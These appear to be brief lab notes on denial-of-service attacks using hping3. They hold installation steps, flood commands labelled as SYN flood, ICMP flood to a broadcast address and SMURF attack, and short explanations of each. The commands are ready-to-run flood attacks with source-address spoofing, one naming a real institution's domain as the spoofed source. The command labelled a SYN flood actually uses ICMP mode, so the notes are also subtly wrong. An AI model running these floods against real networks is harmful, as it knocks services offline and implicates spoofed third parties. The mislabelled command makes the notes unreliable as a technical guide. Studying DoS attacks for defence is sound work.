

```
sudo apt update
```

```
sudo apt install hping3
```

syn flood using hping 3:

```
sudo hping3 -1 --flood -a tsec.edu
```

finding ip address

open the Command Prompt

❏ ❏ Type ipconfig /all and press Enter

❏ ❏ Scroll to IPv4 Address to see your local IP address

ICMP Flood using Hping3

```
sudo hping3 -1 --flood -a <source ip address> 192.168.1.255
```

Example Hping3 Command for a SMURF Attack

```
bash hping3 -1 --flood -a <spoofed_source_ip> <broadcast_address>
```

A Denial of Service (DoS) attack aims to disrupt the normal functioning of a network, system, or service by overwhelming it with traffic or exploiting vulnerabilities, making it inaccessible to legitimate users.

Common Types of DoS Attacks

1. SYN Flood Attack:

- Exploits the TCP handshake process by sending numerous SYN packets to a target server without completing the connection. This leads to resource exhaustion from half-open connections, denying service to legitimate users.

2. ICMP Flood Attack (Ping Flood Attack):

- Involves sending excessive ICMP echo-request packets to a target device. The device responds with echo-replies, which can overwhelm its resources and cause it to become unresponsive to legitimate traffic.

3. SMURF Attack:

- A type of DoS attack that uses ICMP amplification by sending ICMP echo-requests to a network, which then reflects the traffic to a victim's IP address. This flood of responses can overwhelm the victim's network, causing a denial of service.

